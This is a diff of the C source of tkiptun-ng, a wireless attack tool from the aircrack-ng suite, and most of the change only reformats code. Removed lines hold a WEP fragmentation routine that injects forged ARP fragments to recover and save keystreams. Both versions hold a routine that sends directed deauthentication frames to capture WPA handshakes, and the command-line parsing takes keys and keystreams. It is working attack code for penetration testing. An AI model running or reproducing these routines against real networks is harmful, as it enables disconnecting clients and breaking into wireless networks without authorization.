-            memcpy(ct+32, opt.r_sip,   4);
-
-            //Calculating
-            memcpy(prga, packet+z+4, 36);
-            xor_keystream(prga, ct, 36);
-        }
-        else
-        {
-            memcpy(prga, packet+z+4, 36);
-            xor_keystream(prga, h80211+24, 36);
-        }
-
-        memcpy(iv, packet+z, 4);
-        round = 0;
-        again = RETRY;
-        while(again == RETRY)
-        {
-            again = 0;
-
-            PCT; printf("Trying to get 384 bytes of a keystream\n");
-
-            arplen=408;
-
-            make_arp_request(h80211, opt.f_bssid, opt.r_smac, opt.r_dmac, opt.r_sip, opt.r_dip, arplen);
-            if ((round % 2) == 1)
-            {
-                PCT; printf("Trying a LLC NULL packet\n");
-                memset(h80211+24, '\x00', arplen+8);
-                arplen+=32;
-            }
-
-            acksgot=0;
-            packets=(arplen-24)/(32);
-            if( (arplen-24)%(32) != 0 )
-                packets++;
-
-            send_fragments(h80211, arplen, iv, prga, 32, 0);
-//            //Plus an ACK
-//            send_packet(ack, 10);
-
-            gettimeofday( &tv, NULL );
-
-            gotit=0;
-            while (!gotit)  //waiting for relayed packet
-            {
-                caplen = read_packet(packet, sizeof(packet), NULL);
-                z = ( ( packet[1] & 3 ) != 3 ) ? 24 : 30;
-                if ( ( packet[0] & 0x80 ) == 0x80 ) /* QoS */
-                    z+=2;
-
-                if (packet[0] == 0xD4 )
-                {
-                    if (! memcmp(opt.r_smac, packet+4, 6)) //To our MAC
-                        acksgot++;
-                    continue;
-                }
-
-                if ((packet[0] & 0x08) && (( packet[1] & 0x40 ) == 0x40) ) //Is data frame && encrypted
-                {
-                    if ( (packet[1] & 2) )  //Is a FromDS packet with valid IV
-                    {
-                        if (! memcmp(opt.r_dmac, packet+4, 6)) //To our MAC
-                        {
-                            if (! memcmp(opt.r_smac, packet+16, 6)) //From our MAC
-                            {
-                                if (caplen-z > 400-24 && caplen-z < 500-24)  //Is short enough
-                                {
-                                    //This is our relayed packet!
-                                    PCT; printf("Got RELAYED packet!!\n");
-                                    gotit = 1;
-                                    isrelay = 1;
-                                }
-                            }
-                        }
-                    }
-                }
-
-                /* check if we got an deauthentication packet */
-
-                if( packet[0] == 0xC0 && memcmp( packet+4, opt.r_smac, 6) == 0 )
-                {
-                    PCT; printf( "Got a deauthentication packet!\n" );
-                    read_sleep( 5*1000000 ); //sleep 5 seconds and ignore all frames in this period
-                }
-
-                /* check if we got an disassociation packet */
-
-                if( packet[0] == 0xA0 && memcmp( packet+4, opt.r_smac, 6) == 0 )
-                {
-                    PCT; printf( "Got a disassociation packet!\n" );
-                    read_sleep( 5*1000000 ); //sleep 5 seconds and ignore all frames in this period
-                }
-
-                gettimeofday( &tv2, NULL );
-                if (((tv2.tv_sec*1000000UL - tv.tv_sec*1000000UL) + (tv2.tv_usec - tv.tv_usec)) > (100*1000) && acksgot >0 && acksgot < packets  )//wait 100ms for acks
-                {
-                    PCT; printf("Not enough acks, repeating...\n");
-                    again = RETRY;
-                    break;
-                }
-
-                if (((tv2.tv_sec*1000000UL - tv.tv_sec*1000000UL) + (tv2.tv_usec - tv.tv_usec)) > (1500*1000) && !gotit) //wait 1500ms for an answer
-                {
-                    PCT; printf("No answer, repeating...\n");
-                    round++;
-                    again = RETRY;
-                    if (round > 10)
-                    {
-                        PCT; printf("Still nothing, trying another packet...\n");
-                        again = NEW_IV;
-                    }
-                    break;
-                }
-            }
-        }
-
-        if(again == NEW_IV) continue;
-
-        make_arp_request(h80211, opt.f_bssid, opt.r_smac, opt.r_dmac, opt.r_sip, opt.r_dip, 408);
-        if (caplen-z == 416-24)
-        {
-            //Thats the ARP packet!
-//             PCT; printf("Thats our ARP packet!\n");
-        }
-        if (caplen-z == 448-24)
-        {
-            //Thats the LLC NULL packet!
-//             PCT; printf("Thats our LLC Null packet!\n");
-            memset(h80211+24, '\x00', 416);
-        }
-
-        memcpy(iv, packet+z, 4);
-        memcpy(prga, packet+z+4, 384);
-        xor_keystream(prga, h80211+24, 384);
-
-        round = 0;
-        again = RETRY;
-        while(again == RETRY)
-        {
-            again = 0;
-
-            PCT; printf("Trying to get 1500 bytes of a keystream\n");
-
-            make_arp_request(h80211, opt.f_bssid, opt.r_smac, opt.r_dmac, opt.r_sip, opt.r_dip, 1500);
-            arplen=1500;
-            if ((round % 2) == 1)
-            {
-                PCT; printf("Trying a LLC NULL packet\n");
-                memset(h80211+24, '\x00', 1508);
-                arplen+=32;
-            }
-
-            acksgot=0;
-            packets=(arplen-24)/(300);
-            if( (arplen-24)%(300) != 0 )
-                packets++;
-
-            send_fragments(h80211, arplen, iv, prga, 300, 0);
-//            //Plus an ACK
-//            send_packet(ack, 10);
-
-            gettimeofday( &tv, NULL );
-
-            gotit=0;
-            while (!gotit)  //waiting for relayed packet
-            {
-                caplen = read_packet(packet, sizeof(packet), NULL);
-                z = ( ( packet[1] & 3 ) != 3 ) ? 24 : 30;
-                if ( ( packet[0] & 0x80 ) == 0x80 ) /* QoS */
-                    z+=2;
-
-                if (packet[0] == 0xD4 )
-                {
-                    if (! memcmp(opt.r_smac, packet+4, 6)) //To our MAC
-                        acksgot++;
-                    continue;
-                }
-
-                if ((packet[0] & 0x08) && (( packet[1] & 0x40 ) == 0x40) ) //Is data frame && encrypted
-                {
-                    if ( (packet[1] & 2) )  //Is a FromDS packet with valid IV
-                    {
-                        if (! memcmp(opt.r_dmac, packet+4, 6)) //To our MAC
-                        {
-                            if (! memcmp(opt.r_smac, packet+16, 6)) //From our MAC
-                            {
-                                if (caplen-z > 1496-24)  //Is short enough
-                                {
-                                    //This is our relayed packet!
-                                    PCT; printf("Got RELAYED packet!!\n");
-                                    gotit = 1;
-                                    isrelay = 1;
-                                }
-                            }
-                        }
-                    }
-                }
-
-                /* check if we got an deauthentication packet */
-
-                if( packet[0] == 0xC0 && memcmp( packet+4, opt.r_smac, 6) == 0 )
-                {
-                    PCT; printf( "Got a deauthentication packet!\n" );
-                    read_sleep( 5*1000000 ); //sleep 5 seconds and ignore all frames in this period
-                }
-
-                /* check if we got an disassociation packet */
-
-                if( packet[0] == 0xA0 && memcmp( packet+4, opt.r_smac, 6) == 0 )
-                {
-                    PCT; printf( "Got a disassociation packet!\n" );
-                    read_sleep( 5*1000000 ); //sleep 5 seconds and ignore all frames in this period
-                }
-
-                gettimeofday( &tv2, NULL );
-                if (((tv2.tv_sec*1000000UL - tv.tv_sec*1000000UL) + (tv2.tv_usec - tv.tv_usec)) > (100*1000) && acksgot >0 && acksgot < packets  )//wait 100ms for acks
-                {
-                    PCT; printf("Not enough acks, repeating...\n");
-                    again = RETRY;
-                    break;
-                }
-
-                if (((tv2.tv_sec*1000000UL - tv.tv_sec*1000000UL) + (tv2.tv_usec - tv.tv_usec)) > (1500*1000) && !gotit) //wait 1500ms for an answer
-                {
-                    PCT; printf("No answer, repeating...\n");
-                    round++;
-                    again = RETRY;
-                    if (round > 10)
-                    {
-                        printf("Still nothing, quitting with 384 bytes? [y/n] \n");
-                        fflush( stdout );
-                        ret=0;
-                        while(!ret) ret = scanf( "%s", tmpbuf );
-
-                        printf( "\n" );
-
-                        if( tmpbuf[0] == 'y' || tmpbuf[0] == 'Y' )
-                            again = ABORT;
-                        else
-                            again = NEW_IV;
-                    }
-                    break;
-                }
-            }
-        }
-
-        if(again == NEW_IV) continue;
-
-        if(again == ABORT) length = 408;
-        else length = 1500;
-
-        make_arp_request(h80211, opt.f_bssid, opt.r_smac, opt.r_dmac, opt.r_sip, opt.r_dip, length);
-        if (caplen == length+8+z)
-        {
-            //Thats the ARP packet!
-//             PCT; printf("Thats our ARP packet!\n");
-        }
-        if (caplen == length+16+z)
-        {
-            //Thats the LLC NULL packet!
-//             PCT; printf("Thats our LLC Null packet!\n");
-            memset(h80211+24, '\x00', length+8);
-        }
-
-        if(again != ABORT)
-        {
-            memcpy(iv, packet+z, 4);
-            memcpy(prga, packet+z+4, length);
-            xor_keystream(prga, h80211+24, length);
-        }
-
-        lt = localtime( (const time_t *) &tv.tv_sec );
-
-        memset( strbuf, 0, sizeof( strbuf ) );
-        snprintf( strbuf,  sizeof( strbuf ) - 1,
-                  "fragment-%02d%02d-%02d%02d%02d.xor",
-                  lt->tm_mon + 1, lt->tm_mday,
-                  lt->tm_hour, lt->tm_min, lt->tm_sec );
-        save_prga(strbuf, iv, prga, length);
+	n = pkh.caplen + 8 - 26 - 8;
 
-        printf( "Saving keystream in %s\n", strbuf );
-        printf("Now you can build a packet with packetforge-ng out of that %d bytes keystream\n", length);
+	if (fwrite(chopped + 26 + 8, n, 1, f_cap_out) != 1)
+	{
+		perror("fwrite failed");
+		free(chopped);
+		return (1);
+	}
 
-        done=1;
+	fclose(f_cap_out);
 
-    }
+	PCT;
+	printf("\nCompleted in %lds (%0.2f bytes/s)\n\n",
+		   (long) time(NULL) - tt,
+		   (float) (pkh.caplen - 6 - 26) / (float) (time(NULL) - tt));
 
-    return( 0 );
+	free(chopped);
+	return (0);
 }
 
-static int get_ip_port(char *iface, char *ip, const int ip_size)
+static int get_ip_port(char * iface, char * ip, const int ip_size)
 {
-	char *host;
-	char *ptr;
+	char * host;
+	char * ptr;
 	int port = -1;
 	struct in_addr addr;
 
 	host = strdup(iface);
-	if (!host)
-		return -1;
+	if (!host) return -1;
 
 	ptr = strchr(host, ':');
-	if (!ptr)
-		goto out;
+	if (!ptr) goto out;
 
 	*ptr++ = 0;
 
-	if (!inet_aton(host, (struct in_addr *)&addr))
+	if (!inet_aton(host, (struct in_addr *) &addr))
 		goto out; /* XXX resolve hostname */
 
-	if(strlen(host) > 15)
-        {
-            port = -1;
-            goto out;
-        }
+	if (strlen(host) > 15)
+	{
+		port = -1;
+		goto out;
+	}
 	strncpy(ip, host, ip_size);
 	port = atoi(ptr);
-        if(port <= 0) port = -1;
+	if (port <= 0) port = -1;
 
 out:
 	free(host);
 	return port;
 }
 
-int getHDSK()
+static int getHDSK(void)
 {
-    int i, n;
-    int aacks, sacks, caplen;
-    struct timeval tv;
-    fd_set rfds;
-
-    n = 0;
-
-//         usleep( 180000 );
-
-        /* deauthenticate the target */
-
-        memcpy( h80211, DEAUTH_REQ, 26 );
-        memcpy( h80211 + 16, opt.r_bssid, 6 );
-
-        aacks = 0;
-        sacks = 0;
-        for( i = 0; i < 4; i++ )
-        {
-            if(i == 0)
-            {
-                PCT; printf( "Sending 4 directed DeAuth. STMAC:"
-                            " [%02X:%02X:%02X:%02X:%02X:%02X] [%2d|%2d ACKs]\r",
-                            opt.wpa.stmac[0],  opt.wpa.stmac[1],
-                            opt.wpa.stmac[2],  opt.wpa.stmac[3],
-                            opt.wpa.stmac[4],  opt.wpa.stmac[5],
-                            sacks, aacks );
-            }
-
-            memcpy( h80211 +  4, opt.wpa.stmac,  6 );
-            memcpy( h80211 + 10, opt.r_bssid, 6 );
-
-            if( send_packet( h80211, 26 ) < 0 )
-                return( 1 );
-
-            usleep( 2000 );
-
-            memcpy( h80211 +  4, opt.r_bssid, 6 );
-            memcpy( h80211 + 10, opt.wpa.stmac,  6 );
-
-            if( send_packet( h80211, 26 ) < 0 )
-                return( 1 );
-
-            usleep( 100000 );
-
-            while( 1 )
-            {
-                FD_ZERO( &rfds );
-                FD_SET( dev.fd_in, &rfds );
-
-                tv.tv_sec  = 0;
-                tv.tv_usec = 1000;
-
-                if( select( dev.fd_in + 1, &rfds, NULL, NULL, &tv ) < 0 )
-                {
-                    if( errno == EINTR ) continue;
-                    perror( "select failed" );
-                    return( 1 );
-                }
-
-                if( ! FD_ISSET( dev.fd_in, &rfds ) )
-                    break;
-
-                caplen = read_packet( h80211, sizeof( h80211 ), NULL );
-
-                check_received(h80211, caplen);
-
-                if(caplen <= 0 ) break;
-                if(caplen != 10) continue;
-                if( h80211[0] == 0xD4)
-                {
-                    if( memcmp(h80211+4, opt.wpa.stmac, 6) == 0 )
-                    {
-                        aacks++;
-                    }
-                    if( memcmp(h80211+4, opt.r_bssid, 6) == 0 )
-                    {
-                        sacks++;
-                    }
-                    PCT; printf( "Sending 4 directed DeAuth. STMAC:"
-                                " [%02X:%02X:%02X:%02X:%02X:%02X] [%2d|%2d ACKs]\r",
-                                opt.wpa.stmac[0],  opt.wpa.stmac[1],
-                                opt.wpa.stmac[2],  opt.wpa.stmac[3],
-                                opt.wpa.stmac[4],  opt.wpa.stmac[5],
-                                sacks, aacks );
-                }
-            }
-        }
-        printf("\n");
+	int i, n;
+	int aacks, sacks, caplen;
+	struct timeval tv;
+	fd_set rfds;
+
+	n = 0;
+
+	//         usleep( 180000 );
+
+	/* deauthenticate the target */
+
+	memcpy(h80211, DEAUTH_REQ, 26);
+	memcpy(h80211 + 16, opt.r_bssid, 6);
+
+	aacks = 0;
+	sacks = 0;
+	for (i = 0; i < 4; i++)
+	{
+		if (i == 0)
+		{
+			PCT;
+			printf("Sending 4 directed DeAuth. STMAC:"
+				   " [%02X:%02X:%02X:%02X:%02X:%02X] [%2d|%2d ACKs]\r",
+				   opt.wpa.stmac[0],
+				   opt.wpa.stmac[1],
+				   opt.wpa.stmac[2],
+				   opt.wpa.stmac[3],
+				   opt.wpa.stmac[4],
+				   opt.wpa.stmac[5],
+				   sacks,
+				   aacks);
+		}
+
+		memcpy(h80211 + 4, opt.wpa.stmac, 6);
+		memcpy(h80211 + 10, opt.r_bssid, 6);
+
+		if (send_packet(h80211, 26) < 0) return (1);
 
-    return( 0 );
+		usleep(2000);
+
+		memcpy(h80211 + 4, opt.r_bssid, 6);
+		memcpy(h80211 + 10, opt.wpa.stmac, 6);
+
+		if (send_packet(h80211, 26) < 0) return (1);
+
+		usleep(100000);
+
+		while (1)
+		{
+			FD_ZERO(&rfds);
+			FD_SET(dev.fd_in, &rfds);
+
+			tv.tv_sec = 0;
+			tv.tv_usec = 1000;
+
+			if (select(dev.fd_in + 1, &rfds, NULL, NULL, &tv) < 0)
+			{
+				if (errno == EINTR) continue;
+				perror("select failed");
+				return (1);
+			}
+
+			if (!FD_ISSET(dev.fd_in, &rfds)) break;
+
+			caplen = read_packet(h80211, sizeof(h80211), NULL);
+
+			check_received(h80211, caplen);
+
+			if (caplen <= 0) break;
+			if (caplen != 10) continue;
+			if (h80211[0] == 0xD4)
+			{
+				if (memcmp(h80211 + 4, opt.wpa.stmac, 6) == 0)
+				{
+					aacks++;
+				}
+				if (memcmp(h80211 + 4, opt.r_bssid, 6) == 0)
+				{
+					sacks++;
+				}
+				PCT;
+				printf("Sending 4 directed DeAuth. STMAC:"
+					   " [%02X:%02X:%02X:%02X:%02X:%02X] [%2d|%2d ACKs]\r",
+					   opt.wpa.stmac[0],
+					   opt.wpa.stmac[1],
+					   opt.wpa.stmac[2],
+					   opt.wpa.stmac[3],
+					   opt.wpa.stmac[4],
+					   opt.wpa.stmac[5],
+					   sacks,
+					   aacks);
+			}
+		}
+	}
+	printf("\n");
+
+	return (0);
 }
 
-int main( int argc, char *argv[] )
+int main(int argc, char * argv[])
 {
-    int i, j, n, ret, got_hdsk;
-    char *s, buf[128];
-    int caplen=0;
-    unsigned char packet1[4096];
-    unsigned char packet2[4096];
-    int packet1_len, packet2_len;
-    struct timeval mic_fail;
-
-    #ifdef USE_GCRYPT
-        // Disable secure memory.
-        gcry_control (GCRYCTL_DISABLE_SECMEM, 0);
-        // Tell Libgcrypt that initialization has completed.
-        gcry_control (GCRYCTL_INITIALIZATION_FINISHED, 0);
-    #endif
-
-    /* check the arguments */
-
-    memset( &opt, 0, sizeof( opt ) );
-    memset( &dev, 0, sizeof( dev ) );
-
-    opt.f_type    = -1; opt.f_subtype   = -1;
-    opt.f_minlen  = 80; opt.f_maxlen    = 80;
-    opt.f_minlen_set = 0;
-    opt.f_maxlen_set = 0;
-    opt.f_tods    = -1; opt.f_fromds    = -1;
-    opt.f_iswep   = -1; opt.ringbuffer  =  8;
-
-    opt.a_mode    = -1; opt.r_fctrl     = -1;
-    opt.ghost     =  0; opt.npackets    = -1;
-    opt.delay     = 15; opt.bittest     =  0;
-    opt.fast      = -1; opt.r_smac_set  =  0;
-    opt.npackets  =  1; opt.nodetect    =  0;
-    opt.mic_failure_interval = DEFAULT_MIC_FAILURE_INTERVAL;
+	int i, j, n, ret, got_hdsk;
+	char *s, buf[128];
+	int caplen = 0;
+	unsigned char packet1[4096];
+	unsigned char packet2[4096];
+	int packet1_len, packet2_len;
+	struct timeval mic_fail;
+
+#ifdef USE_GCRYPT
+	// Disable secure memory.
+	gcry_control(GCRYCTL_DISABLE_SECMEM, 0);
+	// Tell Libgcrypt that initialization has completed.
+	gcry_control(GCRYCTL_INITIALIZATION_FINISHED, 0);
+#endif
+
+	/* check the arguments */
+
+	memset(&opt, 0, sizeof(opt));
+	memset(&dev, 0, sizeof(dev));
+
+	opt.f_type = -1;
+	opt.f_subtype = -1;
+	opt.f_minlen = 80;
+	opt.f_maxlen = 80;
+	opt.f_minlen_set = 0;
+	opt.f_maxlen_set = 0;
+	opt.f_tods = -1;
+	opt.f_fromds = -1;
+	opt.f_iswep = -1;
+	opt.ringbuffer = 8;
+
+	opt.a_mode = -1;
+	opt.r_fctrl = -1;
+	opt.ghost = 0;
+	opt.npackets = -1;
+	opt.delay = 15;
+	opt.bittest = 0;
+	opt.fast = -1;
+	opt.r_smac_set = 0;
+	opt.npackets = 1;
+	opt.nodetect = 0;
+	opt.mic_failure_interval = DEFAULT_MIC_FAILURE_INTERVAL;
 
 /* XXX */
 #if 0
@@ -3790,688 +3356,754 @@
 #endif
 #endif
 
-    while( 1 )
-    {
-        int option_index = 0;
-
-        static struct option long_options[] = {
-            {"help",        0, 0, 'H'},
-            {"fast",        0, 0, 'F'},
-            {"pmk",         1, 0, 'P'},
-            {"psk",         1, 0, 'p'},
-            {0,             0, 0,  0 }
-        };
-
-        int option = getopt_long( argc, argv,
-                        "d:s:m:n:t:f:x:a:c:h:e:jy:i:r:HZDK:P:p:M:",
-                        long_options, &option_index );
-
-        if( option < 0 ) break;
-
-        switch( option )
-        {
-            case 0 :
-
-                break;
-
-            case ':' :
-
-                printf("\"%s --help\" for help.\n", argv[0]);
-                return( 1 );
-
-            case '?' :
-
-                printf("\"%s --help\" for help.\n", argv[0]);
-                return( 1 );
-
-            case 'd' :
-
-                if( getmac( optarg, 1, opt.f_dmac ) != 0 )
-                {
-                    printf( "Invalid destination MAC address.\n" );
-                    printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
-                break;
-
-            case 's' :
-
-                if( getmac( optarg, 1, opt.f_smac ) != 0 )
-                {
-                    printf( "Invalid source MAC address.\n" );
-                    printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
-                break;
-
-            case 'm' :
-
-                ret = sscanf( optarg, "%d", &opt.f_minlen );
-                if( opt.f_minlen < 0 || ret != 1 )
-                {
-                    printf( "Invalid minimum length filter. [>=0]\n" );
-                    printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
-                opt.f_minlen_set=1;
-                break;
-
-            case 'n' :
-
-                ret = sscanf( optarg, "%d", &opt.f_maxlen );
-                if( opt.f_maxlen < 0 || ret != 1 )
-                {
-                    printf( "Invalid maximum length filter. [>=0]\n" );
-                    printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
-                opt.f_maxlen_set=1;
-                break;
-
-            case 't' :
-
-                ret = sscanf( optarg, "%d", &opt.f_tods );
-                if(( opt.f_tods != 0 && opt.f_tods != 1 ) || ret != 1 )
-                {
-                    printf( "Invalid tods filter. [0,1]\n" );
-                    printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
-                break;
-
-            case 'f' :
-
-                ret = sscanf( optarg, "%d", &opt.f_fromds );
-                if(( opt.f_fromds != 0 && opt.f_fromds != 1 ) || ret != 1 )
-                {
-                    printf( "Invalid fromds filter. [0,1]\n" );
-                    printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
-                break;
-
-            case 'x' :
-
-                ret = sscanf( optarg, "%d", &opt.r_nbpps );
-                if( opt.r_nbpps < 1 || opt.r_nbpps > 1024 || ret != 1 )
-                {
-                    printf( "Invalid number of packets per second. [1-1024]\n" );
-                    printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
-                break;
-
-            case 'a' :
-
-                if( getmac( optarg, 1, opt.r_bssid ) != 0 )
-                {
-                    printf( "Invalid AP MAC address.\n" );
-                    printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
-                if( getmac( optarg, 1, opt.f_bssid ) != 0 )
-                {
-                    printf( "Invalid AP MAC address.\n" );
-                    printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
-                break;
-
-            case 'c' :
-
-                if( getmac( optarg, 1, opt.r_dmac ) != 0 )
-                {
-                    printf( "Invalid destination MAC address.\n" );
-                    printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
-                break;
-
-            case 'h' :
-
-                if( getmac( optarg, 1, opt.r_smac ) != 0 )
-                {
-                    printf( "Invalid source MAC address.\n" );
-                    printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
-                if( getmac( optarg, 1, opt.wpa.stmac ) != 0 )
-                {
-                    printf( "Invalid source MAC address.\n" );
-                    printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
-                opt.r_smac_set=1;
-                break;
-
-            case 'e' :
-
-                memset(  opt.r_essid, 0, sizeof( opt.r_essid ) );
-                strncpy( opt.r_essid, optarg, sizeof( opt.r_essid )  - 1 );
-                break;
-
-            case 'j' :
-
-                opt.r_fromdsinj = 1;
-                break;
-
-            case 'D' :
-
-                opt.nodetect = 1;
-                break;
-
-            case 'y' :
-
-                if( opt.prga != NULL )
-                {
-                    printf( "PRGA file already specified.\n" );
-                    printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
-                if( read_prga(&(opt.prga), optarg) != 0 )
-                {
-                    return( 1 );
-                }
-                break;
-
-            case 'i' :
-
-                if( opt.s_face != NULL || opt.s_file )
-                {
-                    printf( "Packet source already specified.\n" );
-                    printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
-                opt.s_face = optarg;
-                opt.port_in = get_ip_port(opt.s_face, opt.ip_in, sizeof(opt.ip_in)-1);
-                break;
-
-            case 'r' :
-
-                if( opt.s_face != NULL || opt.s_file )
-                {
-                    printf( "Packet source already specified.\n" );
-                    printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
-                opt.s_file = optarg;
-                break;
-
-            case 'Z' :
-
-                opt.fast = 0;
-                break;
-
-            case 'H' :
-
-                printf( usage, getVersion("Tkiptun-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC)  );
-                return( 1 );
-
-            case 'K' :
-
-                i = 0 ;
-                n = 0;
-                s = optarg;
-                while( s[i] != '\0' )
-                {
-                        if ( s[i] == '-' ||  s[i] == ':' || s[i] == ' ')
-                                i++;
-                        else
-                                s[n++] = s[i++];
-                }
-                s[n] = '\0' ;
-                buf[0] = s[0];
-                buf[1] = s[1];
-                buf[2] = '\0';
-                i = 0;
-                j = 0;
-                while( sscanf( buf, "%x", &n ) == 1 )
-                {
-                    if ( n < 0 || n > 255 )
-                    {
-                        printf( "Invalid keystream.\n" );
-                        printf("\"%s --help\" for help.\n", argv[0]);
-                        return( 1 );
-                    }
-                    opt.oldkeystream[opt.oldkeystreamlen] = n ;
-                    opt.oldkeystreamlen++;
-                    if( i >= 64 ) break;
-                    s += 2;
-                    buf[0] = s[0];
-                    buf[1] = s[1];
-                }
-                break;
-
-            case 'P' :
-
-                memset(  opt.pmk, 0, sizeof( opt.pmk ) );
-                i = hexStringToArray(optarg, strlen(optarg), opt.pmk, 128);
-                if (i == -1)
-                {
-                	printf("Invalid value. It requires 128 bytes of PMK in hexadecimal.\n");
-                	return( 1 );
-                }
-                opt.got_pmk = 1;
-                break;
-
-            case 'p' :
-
-                memset(  opt.psk, 0, sizeof( opt.psk ) );
-                if( strlen(optarg) < 8 || strlen(optarg) > 63)
-                {
-                    printf("PSK with invalid length specified [8-64].\n");
-                    printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
-                strncpy( opt.psk, optarg, sizeof( opt.psk )  - 1 );
-                opt.got_psk = 1;
-                break;
-
-            case 'M' :
-
-                ret = sscanf( optarg, "%d", &opt.mic_failure_interval );
-                if( ret != 1 || opt.mic_failure_interval < 0 )
-                {
-                    printf( "Invalid MIC error timeout. [>=0]\n" );
-                    printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
-                break;
+	while (1)
+	{
+		int option_index = 0;
+
+		static struct option long_options[] = {{"help", 0, 0, 'H'},
+											   {"pmk", 1, 0, 'P'},
+											   {"psk", 1, 0, 'p'},
+											   {0, 0, 0, 0}};
+
+		int option = getopt_long(argc,
+								 argv,
+								 "d:s:m:n:t:f:x:a:c:h:e:jy:i:r:HZDK:P:p:M:",
+								 long_options,
+								 &option_index);
+
+		if (option < 0) break;
+
+		switch (option)
+		{
+			case 0:
+
+				break;
+
+			case ':':
+
+				printf("\"%s --help\" for help.\n", argv[0]);
+				return (1);
+
+			case '?':
+
+				printf("\"%s --help\" for help.\n", argv[0]);
+				return (1);
+
+			case 'd':
+
+				if (getmac(optarg, 1, opt.f_dmac) != 0)
+				{
+					printf("Invalid destination MAC address.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				break;
+
+			case 's':
+
+				if (getmac(optarg, 1, opt.f_smac) != 0)
+				{
+					printf("Invalid source MAC address.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				break;
+
+			case 'm':
+
+				ret = sscanf(optarg, "%d", &opt.f_minlen);
+				if (opt.f_minlen < 0 || ret != 1)
+				{
+					printf("Invalid minimum length filter. [>=0]\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				opt.f_minlen_set = 1;
+				break;
+
+			case 'n':
+
+				ret = sscanf(optarg, "%d", &opt.f_maxlen);
+				if (opt.f_maxlen < 0 || ret != 1)
+				{
+					printf("Invalid maximum length filter. [>=0]\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				opt.f_maxlen_set = 1;
+				break;
+
+			case 't':
+
+				ret = sscanf(optarg, "%d", &opt.f_tods);
+				if ((opt.f_tods != 0 && opt.f_tods != 1) || ret != 1)
+				{
+					printf("Invalid tods filter. [0,1]\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				break;
+
+			case 'f':
+
+				ret = sscanf(optarg, "%d", &opt.f_fromds);
+				if ((opt.f_fromds != 0 && opt.f_fromds != 1) || ret != 1)
+				{
+					printf("Invalid fromds filter. [0,1]\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				break;
+
+			case 'x':
+
+				ret = sscanf(optarg, "%d", &opt.r_nbpps);
+				if (opt.r_nbpps < 1 || opt.r_nbpps > 1024 || ret != 1)
+				{
+					printf("Invalid number of packets per second. [1-1024]\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				break;
+
+			case 'a':
+
+				if (getmac(optarg, 1, opt.r_bssid) != 0)
+				{
+					printf("Invalid AP MAC address.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				if (getmac(optarg, 1, opt.f_bssid) != 0)
+				{
+					printf("Invalid AP MAC address.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				break;
+
+			case 'c':
+
+				if (getmac(optarg, 1, opt.r_dmac) != 0)
+				{
+					printf("Invalid destination MAC address.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				break;
+
+			case 'h':
+
+				if (getmac(optarg, 1, opt.r_smac) != 0)
+				{
+					printf("Invalid source MAC address.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				if (getmac(optarg, 1, opt.wpa.stmac) != 0)
+				{
+					printf("Invalid source MAC address.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				opt.r_smac_set = 1;
+				break;
+
+			case 'e':
+
+				memset(opt.r_essid, 0, sizeof(opt.r_essid));
+				strncpy(opt.r_essid, optarg, sizeof(opt.r_essid) - 1);
+				break;
+
+			case 'j':
+
+				opt.r_fromdsinj = 1;
+				break;
+
+			case 'D':
+
+				opt.nodetect = 1;
+				break;
+
+			case 'y':
+
+				if (opt.prga != NULL)
+				{
+					printf("PRGA file already specified.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				if (read_prga(&(opt.prga), optarg) != 0)
+				{
+					return (1);
+				}
+				break;
+
+			case 'i':
+
+				if (opt.s_face != NULL || opt.s_file)
+				{
+					printf("Packet source already specified.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				opt.s_face = optarg;
+				opt.port_in
+					= get_ip_port(opt.s_face, opt.ip_in, sizeof(opt.ip_in) - 1);
+				break;
+
+			case 'r':
+
+				if (opt.s_face != NULL || opt.s_file)
+				{
+					printf("Packet source already specified.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				opt.s_file = optarg;
+				break;
+
+			case 'Z':
+
+				opt.fast = 0;
+				break;
+
+			case 'H':
+
+				printf(usage,
+					   getVersion("Tkiptun-ng",
+								  _MAJ,
+								  _MIN,
+								  _SUB_MIN,
+								  _REVISION,
+								  _BETA,
+								  _RC));
+				return (1);
+
+			case 'K':
+
+				i = 0;
+				n = 0;
+				s = optarg;
+				while (s[i] != '\0')
+				{
+					if (s[i] == '-' || s[i] == ':' || s[i] == ' ')
+						i++;
+					else
+						s[n++] = s[i++];
+				}
+				s[n] = '\0';
